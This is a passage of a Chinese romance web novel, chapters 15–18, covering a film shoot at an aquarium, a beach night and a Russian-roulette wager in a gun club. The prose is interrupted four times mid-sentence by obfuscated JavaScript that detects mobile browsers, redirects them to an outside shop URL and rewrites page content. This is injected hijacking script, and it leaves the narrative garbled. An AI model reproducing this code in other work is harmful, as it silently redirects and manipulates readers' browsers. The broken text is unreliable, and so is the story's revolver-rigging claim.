里面不是白水,也不是这里随处可见的冻柠茶。 是一杯温热的、熬得极其浓稠的川贝雪梨汤。 在这湿热且容易上火的地界,这是最润嗓子的东西。 商颂的手指僵了一下。 “哪来的?” “昨晚借剧组食堂的火熬的。” 伯雪寻轻描淡写地说,绿灯亮起,他踩下油门,“听小艾说你这两天咳嗽,润润。” 商颂低头看着那杯汤。 里面漂浮着几颗枸杞,随着车身的颠簸晃荡。 他总是这样。表面上冷得像个不知冷热的假人,私底下却能这种笨拙甚至带着点市井烟火气的方式,把人心都揉碎。 如果这杯汤是那个穷小子熬的,那就是这世上最珍贵的礼物。 可现在的伯雪寻,明明口袋里装着足以把周彻搞垮的机密,明明马上就要成为资本的座上宾,却还要用这种“洗手作羹汤”的旧戏码来感动她。 这是深情吗? 不,这是为了掩盖那股腐烂味道的香氛。 “谢谢。” 商颂喝了一口,很甜。甜得发苦。 一个小时后,车子停在了石澳那片著名的黑色岩石滩边。 这里远离中环的喧嚣,只有远处的灯塔机械地扫射着海面。浪很大,卷起白色的泡沫,像是撕碎的婚纱。 伯雪寻熄了火,转身去后座搬东西。 商颂下车,海风瞬间裹挟着咸湿的水汽扑面而来。 她看见伯雪寻扛着一架泛着冷光的黑色仪器走了过来。 星特朗。专业级的天文望远镜。 那个少年时期只能在画报上眼馋的大家伙,现在被他真实地扛在肩上。 他的身姿挺拔,踩在乱石滩上,背脊微弯,护着那台仪器,像是护着自己在这个世界上仅剩最后一点关于“纯洁”的念想。 “走慢点,这边石头滑。” 他腾出一只手,自然地向后伸来。 那只手干净、修长,没有戴表,甚至连在茶馆里的痕迹都洗得干干净净。 商颂看着那只手,犹豫了一秒,还是放了上去。 很热。掌心里有一层薄薄的汗。 这还是那个会紧张、会在意她的少年吗?还是说,这只是一种演技的惯性? 他们在避风的岩石后停下。 伯雪寻铺好防潮垫,那种动作的细致程度,就像是在铺设一张婚礼的红毯。他先把自己那件昂贵的外套脱下来,垫在商颂要坐的位置,然后才蹲下身去调试望远镜。 月光洒在他背上。 商颂坐在一旁,百无聊赖地摸着他外套的口袋。 手指触碰到一样坚硬的小东西。 拿出来一看—— 是一把橘子糖。 在这个遍地都是进口巧克力的自由港,在这个连空气都写着“物欲”的城市,他的口袋里,居然还揣着这种几块钱一斤的橘子糖。 商颂死死捏着那颗糖,眼角忽然红了。 四年前。她因为低血糖头晕,伯雪寻就从破夹克兜里掏出一把快化了的糖,笨拙地塞给她。 “乖,吃了就不晕了。” 现在他有钱了,他出卖周彻、出卖原则换来了泼天的富贵。 可他却像个守着旧时光的老人,还在用这种廉价的糖,试图唤醒那个十八岁的夏天。 他是真的爱她吗? 也许是。但他爱的方式,是用刀子割开别人的喉咙,来喂养这段其实早就应该死去的爱情。 “好了。” 伯雪寻调试完焦距,转过头。 海风吹乱了他额前的碎发,他招了招手,笑意温软得不像话: “阿颂,来看。猎户座。” 商颂把糖放回口袋,慢慢走过去。 “猎户座有什么好看的?满大街都是光污染。” “不一样。” 伯雪寻从身后环住她,下巴抵在她的发顶,两只手握着她的手,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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商颂闭上眼,双手缓缓环住他的腰,感受着那件真丝衬衫下紧绷的肌肉。 她想看看,当那个“很快”到来的时候,当周彻的反击像海啸一样拍过来的时候,这个所谓的“救世主”,会不会先被巨浪拍碎。 “我信你。” 她柔声说着这世上最大的谎言,“代sir从来不骗人,对吧?” 伯雪寻浑身一震。 他猛地低下头,吻住了她。 这是一个充满了海风咸味、橘子甜味和绝望气息的吻。 他们在石澳这片漆黑的乱石滩上拥吻。 头顶是那颗可能早已死去的参宿四。 脚下是深不见底的黑色大洋。 那一晚,他们在沙滩上实现了十八岁最奢侈的愿望。 拥有了最好的望远镜,最贵的衣服,和最近的彼此。 可商颂躺在防潮垫上,看着那片虚假的星空,心里只觉得那个少年死得彻底。 他在吻她。 而她在悼念他。 “咔哒。” 远处似乎有相机的快门声。 商颂没有动,也没有提醒沉浸在亲吻中的伯雪寻。 如果这是周彻的眼线,那就拍吧。 如果是伯雪寻安排的摆拍……那就更好了。 毕竟,在这场早已物是人非的剧本里,谁还不是个把灵魂明码标价的演员呢? 16. 第 16 章 戏中,代献秋追踪到苏黎世的线索断在那场大雪里,但易为春像是故意撒下面包屑的女巫,将线索零星地抛在这一路南下的海岸线上。一张夹在诗集里的水母展览票根,一段模糊的沿海监控录像。 代献秋找到她时,是在那座据说容纳了整片太平洋眼泪的深蓝水族馆。 这不再是阴暗潮湿的廉租房,也不是寒风凛冽的雪夜街头。这里是深海的梦境,幽蓝色的波纹光影投射在穹顶和地面,所有人都像是行走在五千米深的水压之下,呼吸沉重而缓慢。 在那深蓝色的巨大幕墙开启拍摄之前,是一段漫长而焦灼的候场。 深海展区的光线被刻意调暗,四周只有巨大的水柱里偶尔冒出的气泡声。商颂靠在布景的角落里,身上那件深海蓝的丝绒裙被冷气激得有些凉。她正在调整呼吸,试图把“阿春”那股随时准备化为泡沫的破碎感找回来。 一只手忽然伸到了她面前。 掌心摊开,是一颗用透明纸包着的淡橘色的软糖。 商颂顺着那只骨节分明的手看去。伯雪寻并没有看她,而是正盯着那个贴着“严禁拍打玻璃”的警示牌出神。他的侧脸在幽蓝的浮光里显得格外虚幻。 “又是橘子糖?”商颂的声音冷淡。 伯雪寻转过头,解释道:“你今天一直在发抖。橘子味的,有维C,也有点太阳的味道。” “太阳?”商颂嗤笑一声,还是伸手拿起了那颗糖,“伯老师,这里是五千米深海。” “那是代献秋找不到阿春的地方。但在那之前……”伯雪寻忽然上前半步,那是他在戏外少有的具备侵略性的距离。他替她剥开了糖纸,那一层薄薄的塑料纸在静谧的空间里发出“沙啦”一声脆响,像是心跳漏了一拍。 他没让商颂动手,而是捏着那颗软软的橘子糖,直接抵在了她的唇边。 “在阿春还没逃跑之前,他们有过太阳。” 指腹温热,擦过商颂微凉的唇珠。那是一种带着私心的触碰。 商颂的睫毛颤了颤,最终还是张开嘴,含住了那颗糖,也含住了伯雪寻指尖那一瞬的余温。 酸甜在舌尖炸开。 这一抹不合时宜的甜,瞬间成了连接现实与记忆的桥梁。 回忆如同潮水般倒灌进这蓝色的深渊。 那是一个月前,他和阿春还窝在那个乱糟糟的廉租房里的时候。 那是他们仅有的像是正常情侣一样的温存时光。 代献秋在沙发上午睡,醒来的时候,感觉腿上一沉。 阿春枕在他的大腿上,长发铺陈开来,像是黑色的海藻缠住了他这艘破船。她手里举着一本封皮都已经掉色的诗集。 不是泰戈尔,不是那些黏糊糊的情诗。 全是关于海洋的。 “这一句,”阿春伸出一根手指,指着泛黄书页上的一行字,念得慢条斯理,“大海没有记忆,所以它是最干净的墓地。” 代献秋当时笑着拨开她挡在眼前的头发,那是刑警还没意识到危险时的宠溺:“怎么老看这些?什么深海、溺水、葬礼……听着怪瘆人的。你看点向日葵不行吗?” “向日葵太吵了。” 阿春翻了个身,脸颊贴着他穿着居家棉裤的腹部,那种依赖的姿势像只慵懒的猫,可说出的话却冷得像冰,“它们都要争着抢着去看太阳,我不喜欢。” 她把书合上,封面是一只巨大又孤独的蓝鲸。 “我喜欢海。”阿春坐起来,阳光照在她脸上,把她那粒泪痣照得透明,“哥哥,你知道吗?海里有一种层面,叫声散射层。那里的生物白天潜入深海,晚上才浮上来。” “就像我一样。” 她转过头看他,眼神里有一瞬的恍惚,“如果哪天我不想让这世上的任何人找到我,我就去水族馆,或者是海底。” “只有在听不见任何审判声音的蓝色地方,我才觉得我是干净的。” 那时的代献秋只当那是文艺女青年的无病呻吟,他甚至还打趣说要把她铐在床头哪里也不许去。 可如今—— 伯雪寻站在深蓝色的水幕前,看着眼前那一缸又一缸的深蓝。 他想起来了。 当初她看的不仅仅是诗,那是她的自白书,也是她留给他的寻人启事。 线索根本不在那些监控里。 线索就在那个充满了灰尘的午后,在那本只有十几块钱的旧诗集里,在她曾经靠在他腿上念过的每一句关于“深海”的注脚里。 她渴望深海,因为那里藏得住所有的罪证和那个支离破碎的灵魂。 “各部门准备!”段南桥的指令打断了这段回忆。 伯雪寻猛地睁开眼,看向前方那个穿着深海蓝裙子的背影。 代献秋找到了他的阿春。 在那个她说“最干净”的蓝色鱼缸前。 “Action。” 镜头缓缓平移,穿过成群结队洄游的银色沙丁鱼群,越过几个惊叹的孩童,最终定格在一面巨大的圆柱形观赏窗前。 阿春就站在那里。 商颂在深海蓝的丝绒吊带长裙外面罩着一件极薄的白色针织开衫,像是缠绕在海藻上的一层泡沫。她赤脚踩在地毯上,整个人被那种令人窒息的湛蓝波光笼罩,美得像是一具刚刚苏醒的水妖。 她没有看鱼,她在看窗里漂浮的那些东西。 是海月水母。 无数只半透明的像是幽灵降落伞一样的水母在灯光下缓慢舒张,没有大脑,没有血液,当然,也没有心脏。 代献秋停在离她五步远的地方。 伯雪寻此刻的状态是一种极其紧绷后的松弛,那是猎人终于将枪口对准猎物心脏时的那种虚脱感。他的风衣上带着一路追击的风霜,眼底的红血丝在蓝光下显出一种妖异的紫。 “这就是你要带我来的地方?” 他的声音在空旷的回廊里响起,带着重低音的回响。 易为春没有回头。她的脸贴在微凉的亚克力玻璃上,随着水母的浮动,光影在她脸上切割出迷离的碎片。 “代sir,你看它们。”阿春伸出手指,隔着玻璃,虚虚地去触碰一只正在游动的水母,“它们真干净。不需要思考,也不需要因为谁而心跳加速。全身百分之九十五都是水,死的时候就直接化在海里,连尸体都找不到。” “就像周游那样?” 代献秋走上前,那具有压迫感的黑色身影覆盖住了她那一小片蓝。 “周游死了还留下了麻烦。”阿春转过身,背靠着那巨大的玻璃幕墙。身后的蓝色水波荡漾,她是这深海唯一的发光体,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她眼角的那粒泪痣在蓝光下艳得惊心动魄。 “还是说,代sir更想……在这里处决我?” 商颂一边说着,一边向后仰,整个人几乎贴在了冰冷的玻璃墙上,曲线毕露。她伸出食指,轻轻抵在了代献秋的唇上。 然后,顺着他的唇缝,慢慢滑入,那是模拟一种极其情|色却又危险的“封口”。 “心太吵了,是不是?” 她在他含着她手指的瞬间,轻声呢喃:“但我把心挖给水母吃了。现在我这里……” 她抓着代献秋的另一只手,按在自己深海蓝丝绒包裹的胸口。 那里跳动得剧烈而疯狂。 “现在这里跳的,全是对你的瘾。” “代献秋,你抓我回去是为了审判,还是为了独占?” 这一刻,伯雪寻的眼神彻底暗了下去。 那是海啸来临前的黑云压城。 他没有回答。 他猛地低下头,隔着那个甚至没有撤回的手指,狠狠地吻住了她。 这不是在吻一个罪犯。 这是一个溺水的人,在绝望中吻住了他唯一的一口氧气。 身后的水母群在蓝光中无声地绽放、收缩,像是一场盛大的无声烟火,为了这场深海里的堕落与共沉沦而加冕。 “Cut!” 段南桥的声音几乎有些颤抖,她盯着监视器里那绝美的构图—— 巨大的蓝色水幕前,那一黑一蓝纠缠的身影,如同两尾濒死的鱼,正在用一种窒息的方式,交换彼此的灵魂。 17. 第 17 章 “噗呲。” 那不是落入海水的包容声响,而是肉|体撞击尖锐岩石的闷响。 那块如獠牙般锋利的礁石,不偏不倚,从后背贯穿了阿春的胸腔,对准她在之前无数次暗示过“已经空了”的左胸。 鲜血瞬间喷涌,将那条白裙染得通红,红与白在嶙峋的灰岩上交织出一幅暴力美学画卷。 石头替她填满了那颗心。用最痛、最硬的方式。 “你或许不知道,我一直喜欢自由。”这是易为春留给代献秋的最后一句自白。 指认完心脏后,阿春主动坠入山崖。 代献秋目睹爱人的死亡,才知道自己一直以来爱的都是自己幻想中的阿春,真实的易为春究竟是什么样子,他一点都不了解。 于是,他开始调查易为春这个女孩的成长史。出生在香港经营小型海运公司的中产家庭,但父母离异,常年疏于关爱,性格看似温良实际极端偏激,唯有哥哥易惊鸿照顾她,两人情谊深厚。不过,在易惊鸿遇难消息传回来,父母都上诉死打官司,惹恼了周游,公司在业界节节败退,直至破产。 然而还剩下未解之谜,她究竟是怎样伪造身份成功接近周游? 直到他恢复原职直到升职,无意间试探顶级上司的口风,被透露这个案件始末,易为春其实是警方培养并安排的线人,没想到最后却刺激杀人,然后在逃脱逮捕途中失忆,最后香消玉殒。 易为春在逃亡途中很压抑,甚至还是像狗一样趴在兰桂坊的后巷,为了几千块的租金出卖自尊。所以,她穿了梦想中的白纱吞了药,可命运却让她遇到了代献秋。 这不仅仅是警匪片,更是对女性成长环境的压抑写照。 今天商颂要拍摄的是易为春在高三的生长痛,那时她身体一直很廋削,月经不调,痛经如宰杀,加上压力过大,患上了胃胀气和肝郁结,整日精神恍惚。 可是她没有地方可以诉苦,她没有朋友,或许也可以归咎到她脸背的痘痘和孤僻的性格,那时的她只是一个平平无奇的青春期女孩。 卫生间是易为春唯一的避难所。 商颂跪在马桶前,干呕。 胃里翻江倒海,却什么也吐不出来,只有酸水灼烧着喉管。那种气堵在胸口,让她连呼吸都要大口大口地喘。 她从口袋里掏出一个透明的药盒。 里面混杂着止痛片和中成药“逍遥丸”。 她没有水。 就那么干咽了下去。 药丸划过食道,带来粗粝的异物感。 疼痛稍微麻痹了一点神经,但那种精神上的恍惚感却更重了。 她靠在隔板上,透过狭小的门缝,看着外面来来往往的一双双精致的皮鞋。 幻觉开始产生。 她看见镜子里的自己,脸上的痘痘变成了红色的蚂蚁,正在一点点啃食她的脸皮。 她看见小腹里流出来的不是血,而是发黑的淤泥。 “下次变成小鸟吧,有天空。” 商颂轻声念着台词。 这句话没有哭腔,只有一种木然的陈述。 她是一个被遗弃在青春期这座孤岛上的流放犯。 没有人拯救她,哪怕是代献秋。 段南桥安排的电影彩蛋很残酷,不给观众留一点幻想。代献秋带着初恋祭奠易为春的墓,两人戴着戒指。 般配得像是一张刚刚印刷出厂的“幸福生活”海报。 四个月的封闭拍摄,像是一场人为制造的高烧。如今高烧退去,《他者女人的窥镜》正式杀青。 没有告别,甚至没有留给商颂从“易为春”的躯壳里喘息回魂的时间。周彻的黑色幻影早就等候在片场的后门。 他没有给她换回私服的机会,直接将她带到了文华东方的顶层套房。 那里早就备好了一个礼盒。 没有LOGO,只有深黑色的丝绒面料吸纳着顶灯的暖光。 周彻坐在那张深绿色的皮质单人沙发里,他刚刚结束了一个漫长的越洋会议,眼底压着一层淡淡的青色,指间夹着一根并未点燃的万宝路,整个人显得极为冷峻,却又透着一股刚从硝烟里走出来的餍足感。 “换上。” 他抬了抬下巴,视线并未从那片落地窗外的海景上移开。 商颂掀开那个礼盒。 里面躺着的,不是她在戏里穿惯了的那些带着粗糙质感的棉麻旧衣,也不是她平时用来伪装温顺的浅色系常服。 而是一条极具侵略性的翡翠色的真丝吊带长裙。 那颜色绿得太正了,像是在毒液里浸泡过的祖母绿,又像是夏夜里即将腐烂前的最后一抹蝉翼,薄得令人心惊,艳得咄咄逼人。 两根极细的肩带仿佛稍一用力就会崩断,大露背的设计预示着这件衣服的主人将要在某种场合献出她毫无防备的脊背。 “周彻,今天不是单纯的吃饭吗?” 周彻闻声,终于转过头来。 他并没有起身,只是用那双极深极沉的眼睛自下而上地打量着她,目光像是一只冰凉的手,寸寸抚过她的脸庞。 “是吃饭。” 他轻笑了一声,“也是去见一位喜欢看‘斗兽’的朋友。” 他放下万宝路,站起身,迈着长腿走到她身后。 他并没有拥抱她,而是替她解开了那件还沾着片场灰尘的风衣扣子。 “索科洛夫。控制着东欧到北冰洋三分之一航线的疯子。” 周彻的声音贴着她的耳廓滑入,“我在欧洲的口子需要人来缝。他信运气,信女人。今晚,你是我的入场券。” 衣服滑落。商颂感觉一阵寒意顺着脊椎窜上来。 “你要我去……陪他?”她问出这句话时,牙齿都在打颤。 周彻正在拿那条绿裙子的手猛地一顿。 他扳过她的肩膀,稍微用力,迫使她抬头看着自己。那双漆黑的瞳仁里带着被冒犯的阴鸷。 “商颂,脑子清醒一点。” 他的拇指用力摩挲过她的下唇,“我周彻还没有沦落到要靠送自己的女人去换合同的地步。我要你陪的,是我。” 他从旁边的首饰托盘里拿起一条亲自设计极其繁复的祖母绿钻石项链,冰冷的宝石贴上她的锁骨窝——那个曾经被易为春藏过纽扣的地方。 “今晚,你是我的幸运神。” 他在她耳边低语,“穿上这身绿,告诉那个迷信的老毛子,这艘船的航向,我说了算。” 丝绸贴身,那种极致的滑腻与冰凉,让商颂觉得像是一层新长出来的蛇皮。 她看着镜子里的自己。 翡翠绿的真丝流淌在莹白的肌肤上,红唇绿裙,乌发雪肤。美得惊心动魄,也美得充满了破碎感。 她不再是那个有着灵魂的易为春,她变回了周彻名利场上最昂贵的一件挂件。 石澳乡村俱乐部。 这里没有游客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126704|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有深山里的寂静与那股属于英式老钱阶层的傲慢。 雨还在下,淅淅沥沥地打在保养得极好的草皮上。 “周!你迟到了!” 一道如洪钟般的声音穿透雨幕。 伊万·索科洛夫站在马球场的休息区,身形魁梧得像是一头西伯利亚棕熊。他两鬓斑白,穿着一件做工考究但有些紧绷的粗呢骑马装,手里提着一杯纯度极高的伏特加,身边没有女伴,只有两个如同铁塔般的黑衣保镖。 “这里的山路不好走,有些脏东西要绕开。” 周彻并没有道歉,只是淡淡地回了一句,左手极具占有欲地揽着商颂那截裸露在空气中的腰肢。 索科洛夫那双浑浊却锐利的蓝灰色眼睛扫过周彻,随后毫无顾忌地落在了商颂身上。 绿裙在阴雨天里显得格外刺眼,那是生命的颜色,也是欲望的颜色。 “哦……看来这就是那个传闻中的女人。”索科洛夫吹了声口哨,目光里并不是那种低俗的色|欲,而是一种看到稀世珍宝或是一匹良驹时的惊叹,“周,你的眼光一向刻薄毒辣,但这一次,确实是……顶级货色。” 商颂感觉腰间那只手骤然收紧,骨节咯得她生疼。 周彻没有理会那句略显轻浮的评价,只是将她往怀里带了带。 “商颂。我的。” 仅仅两个字,像是在那一身绿裙上盖下了一个看不见的钢印。 “很好。”索科洛夫大笑着一口干掉了那杯烈酒,“既然你的幸运神带到了,那就别废话。按照规矩,先把场子热一热?” 他指了指外面的雨中马球场,“最近新到了几匹从阿根廷空运来的纯血马,性子烈得很。今天谁先拿到那个头彩,合同上的让利点数,谁说了算。” 这不是绅士运动。这是一场披着文明外衣的野蛮角斗。 几分钟后。 周彻换好了一身白色的骑装,黑色的高筒皮靴包裹着他修长有力的小腿,手里握着马球杆,整个人散发着一种冷硬又暴力的美感。 他跨上一匹通体乌黑的骏马,那马鼻孔喷着白气,前蹄躁动不安地刨着草皮。 “怕吗?” 他居高临下地看着站在栏杆边,被他的大衣裹得严严实实的商颂。 商颂摇了摇头,脸色苍白,“周彻,小心。” “看着我。” 周彻勒紧缰绳,嘴角勾起一抹极度自信与疯狂的弧度,“好好看着,你的男人是怎么把胜利带回来的。” 哨声响起。 那一刻,商颂仿佛真的看见了一头从斯文败类的皮囊下挣脱出来的野兽。 这根本不是一场优雅的马球赛,而是一场厮杀。 雨水混着泥土飞溅。 马蹄声如同雷鸣,每一次撞击都像是砸在心脏上。 索科洛夫的球风极其凶悍,仗着身形优势,几乎是用蛮力在冲撞。而周彻冷静,精准,狠辣。 他在高速奔驰中并没有像其他人那样大吼大叫,他的脸上没有任何表情,脸上沾了雨水也毫不在意。他驾驭着那匹烈马,像是在驾驭他那个濒临失控的商业帝国,每一次挥杆都直击要害。 “砰!” 最后那一球。 周彻从侧翼强行切入,那个角度刁钻得几乎违背了物理常识。马身几乎贴着地面倾斜,球杆划出一道凌厉的弧线。 白球如同子弹一般射入球门。 终场哨响。 18. 第 18 章 全场只有雨声和马匹粗重的喘息声。 周彻勒马回身,那匹黑马扬起前蹄发出一声长嘶。他浑身湿透,白色的骑装上溅满了黑色的泥点,头发湿漉漉地贴在额前,却丝毫无损那种斯文败类的气场。 他策马走到围栏边。 那里摆着今日头筹的彩头——一支用黄金和红宝石镶嵌的复古马鞭。 索科洛夫虽然输了,却大笑着鼓掌,“周!你他妈的就是个疯子!这种不要命的打法也就你敢用!” 周彻没有下马。 他用球杆挑起那支昂贵的马鞭,然后侧过身,策马来到了商颂面前。 骏马高大,他在马上俯视着她。 “商颂。” 他叫她的名字。 商颂仰起头。雨水落在她的脸上,她看见那个如同神祇一般的男人,正用一种虔诚又傲慢的姿态看着她。 “拿着。” 他将那支象征着征服与暴力的马鞭递到她面前。 “我把赢来的荣耀给你。” 他的眼神炙热得几乎能将这漫天的冷雨蒸发,“但这根鞭子你要拿稳了。你是我的幸运神,以后也要一直看着我赢。” 商颂伸出手,接过了那支冰冷沉重的马鞭。 红宝石硌在手心,黄金的凉意渗入骨髓。 她知道,这不是礼物,这是一道更加华丽的枷锁。他把战利品给她,是在告诉她:从今往后,她的荣辱,将彻底与他的胜败绑死在一起。 下半场,地点转到了浅水湾那个极具私密性的枪会俱乐部。 地下的射击靶场。 那种令人窒息的肃杀感,比刚才的马球场更甚。 “刚才的开胃菜不错。但不够刺激。” 索科洛夫显然还没有玩够,他的那股嗜赌的瘾一旦被勾起来,就像是沾了药的恶鬼。 他脱掉了外套,露出里面紧绷的衬衫,手里把玩着一把银色的左轮手枪。 “以前在西伯利亚,没有什么是一枪解决不了的。如果有,那就再开一枪。” 他看向周彻,又看向裹着周彻外套、只露出那抹惊心动魄绿裙摆的商颂。 “周,入港权的文件就在车上。但我有个规矩,最后一笔字,只跟运气最好的人签。” 他指了指桌上那个被打开的黑色枪盒,“敢不敢把你的幸运神,再放到天平上称一称?” 那是一把柯尔特“巨蟒”。357马格南口径。枪身漆黑,如同它的名字一样充满杀气。 周彻正在擦拭眼镜上的水雾,闻言动作一顿。 他重新戴上眼镜,眼底的那片深渊里终于泛起了一丝真正的疯狂。 “怎么玩?” “俄罗斯轮盘。” “好啊。” 他语气平淡,“你想怎么赌?” “你对自己开一枪。”索科洛夫指了指周彻的胸口,“一发子弹,六分之一的概率。如果响了,你的女人归我,你的命归上帝。如果不响,三个点的让利,我立刻签字。” 商颂的瞳孔剧烈收缩,“不行!” 她下意识地想要冲过去,却被周彻一把拉住。 周彻看着索科洛夫,忽然笑了。 “伊万,这种赌法太俗套。而且,我的命如果不值钱,你的合同我也不稀罕。” 他拿过那把巨蟒,将那颗子弹塞进弹巢。 “我们换个玩法。” 他看向商颂,那眼神里有一抹令人心悸的温柔与决绝。 “过来。” 他把商颂拉到自己身前,让她背靠着自己宽阔温热的胸膛。 然后,他把那把沉重的左轮塞进她手里,双手握住她的手,强迫她抬起手臂。 这一次,枪口没有对准前方,而是调转过来—— 那黑洞洞的枪口,正直直地抵在周彻自己的心脏位置。 隔着黑色的衬衫,商颂能感觉到枪口的冰凉,和他胸膛里那颗心脏沉稳有力的搏动。 咚、咚、咚。 商颂疯了似地想要挣脱,“周彻!你干什么?!我不玩!你放开我!” 那种巨大的恐惧让她几乎要崩溃。 “嘘。” 周彻在后面扣死她的手腕,低头吻在她的颈侧,“商颂,别动。看着前面。” “我不信上帝,不信佛,我只信你。” 他在她耳边低语,“你是易为春,我是周游。你不是早就想杀了我吗?现在,这把枪就在你手里。这颗心,我也给你了。” 他抬头看向早已愣住的索科洛夫。 “这就是我的赌注。” 周彻的眼神如刀锋般锐利,“让这个女人开枪。她要是想要我的命,或者要是运气不好……这一枪下去,我死。周家的北海航线送给你。” “但如果她不想我死,而运气也站在我这边……” 他笑了,笑得肆无忌惮,“那就是天命所归。伊万,你得给我下跪磕头,叫一声真正的LuckyGod。” 索科洛夫倒吸一口凉气:“周,你是个彻底的疯子!你要把命交在一个女人手里?” “因为她是我的命。” 周彻握紧商颂颤抖的手,那把枪的枪口死死抵着他的心脏。 “商颂,扣扳机。” “我不要,周彻我不行。”商颂浑身发软,整个人全靠身后的他支撑着。 “你可以。” 周彻的声音变得严厉,“那年在附中那条巷子里,我没死。现在也不会死。相信我。” “我们的命绑在一起。这一枪只要不响,我们就都活了。” “一。”他开始倒数。 商颂感受着手里的重量,那是他的命。 她透过泪水看着前面的靶纸,却只感觉身后那个男人的体温要把她烫伤。 他赌的不仅仅是运气,他在赌她对他的爱,赌他们之间那种虽在烂泥里打滚却死也不放手的羁绊。 “二。” 周彻的手指叠在她的食指上,开始加力。 如果她不扣,他会帮她扣下去。 在那一瞬间,她没有别的选择。如果不赌,索科洛夫不会放过他们,周家也不会放过失败者。 既然都是死路,那就信他一次。 信这个在十六岁就敢为她断人腿的疯子。 “三!” “咔哒。” 一声极其清脆甚至显得有些微弱的金属撞击声。 撞针击打在了空的弹巢上。 没有火光。 没有血花。 他的心脏还在跳动,甚至没有一丝紊乱。 那一秒钟的寂静,像是一个世纪那么长。 只有空调风机还在呼呼作响。 “哈哈哈哈哈哈!” 索科洛夫突然爆发出一阵狂笑,他用力拍着桌子,震得枪盒乱跳。 “哈哈哈!哈哈哈!周!!你真他妈是有种!这女人也真是有种!” 周彻慢慢松开了手。 那把枪从商颂手里滑落,“咣当”一声掉在地上。 商颂整个人像是被抽走了脊梁骨,软绵绵地倒下去。 周彻一把捞住她,将她死死地按在怀里。 他低下头,嘴唇发白,却笑得极其猖狂。他吻着她汗湿的头发,吻着她冰冷的眼泪。 “看。” 他贴着她的耳朵,声音沙哑得不像话,“我们活下来了。” “我的心脏还在跳,它是你的了。” 从俱乐部出来的时候,雨彻底停了。 维多利亚港的夜空被洗得透亮,连那一向浑浊的海水似乎都干净了几分。 商颂披着周彻的风衣,缩在幻影的后座角落里,还在瑟瑟发抖。 周彻点了一支烟,深吸一口,稳住还有些微颤的手指。 然后,他从口袋里掏出了那颗被退出来的子弹,金黄色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126705|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,冷冰冰的。 “其实……” 他把那颗子弹塞进商颂的手心,嘴角勾起一抹坏笑。 “那把柯尔特虽然没改装,但这颗子弹我特意选了比较沉的一颗达姆弹头。转轮是有惯性的,只要转得够快……在重力的作用下,有子弹的那一面有九成概率会停在最下面。” “也就是绝对击发不了的位置。” 商颂愣愣地看着他,眼神从呆滞慢慢变得愤怒,最后化为一种虚脱的哭笑不得。 “你……你在出老千?你拿你的命出老千?” “这叫控局。” 周彻把她抱过来,让她跨坐在自己腿上,捏着她的下巴,“但凡事都有万一。如果那个轴承稍微卡了一下,或者你扣扳机的时候手抖偏了一寸……” 他没说下去。 只是低下头,虔诚地吻住了她。 “商颂,刚才你开枪那一瞬间的绝望,真美。” 他叹息着,“那一刻,我知道,你是爱我的。” “这就够了。哪怕那一枪真的响了,死在你手里,我也认了。” 这大概是周彻这辈子说过最动听的情话,也是最疯的诅咒。 商颂身上那件祖母绿的真丝长裙已经被冷汗浸透,湿漉漉地贴着脊背,她还没从那一记空枪的巨大冲击中回魂,车身却猛地一顿,随即并未驶向半山的公寓,而是调转车头,直奔港岛的私人停机坪。 因为那个刚像是看了一场绝妙斗兽表演的俄国巨鳄索科洛夫,兴致显然才刚刚被那颗没有击发的子弹挑起来。 “周,你的女人,还有你的命,都太硬了。” “这种劫后余生的快感,如果不配上一点真正的金钱声响,就像是做|爱没有高潮,太遗憾了。” 他指了指车窗外东南方那片被夜色与霓虹染成紫金色的海域—— “澳门。” “今晚的风向刚好,适合过海。”索科洛夫转过头,带着一股不容拒绝的霸道,“那份合同的最后几页,我想在那张铺着绿绒布的桌子上签。周,你应该不会扫我的兴吧?” 周彻正低头用一块洁白的手帕,一点点擦拭商颂指尖沾染的黑色枪油。他闻言,动作并未有丝毫停顿。 他在那明明灭灭的光影里抬眼,镜片后划过一丝早就料到的属于捕猎者的从容与厌倦。 “既然伊万你有兴致。”周彻将那块脏了的手帕随意丢进车载垃圾桶,握紧了商颂的手,“那我奉陪到底。” 直升机的螺旋桨撕裂了夜空,巨大的轰鸣声将世界切割成破碎的噪点。 从香港飞往澳门不过短短一刻钟。这十五分钟,是将人从“旧世界”的老钱傲慢,摆渡到“新世界”的赤裸癫狂。 脚下是漆黑的伶仃洋,远处港珠澳大桥像一条发光的锁链,锁住了这片欲望翻涌的海域。 商颂坐在周彻身边,披着他的黑色西装外套。那是他在刚才的靶场脱下来罩在她身上的,带着体温,像是一个坚不可摧的茧,将她这个“幸运神”包裹其中。 “冷吗?” 周彻在巨大的噪音中凑近她的耳畔。他的嘴唇几乎贴着她的皮肤,带着一丝安抚的意味。 商颂摇了摇头。 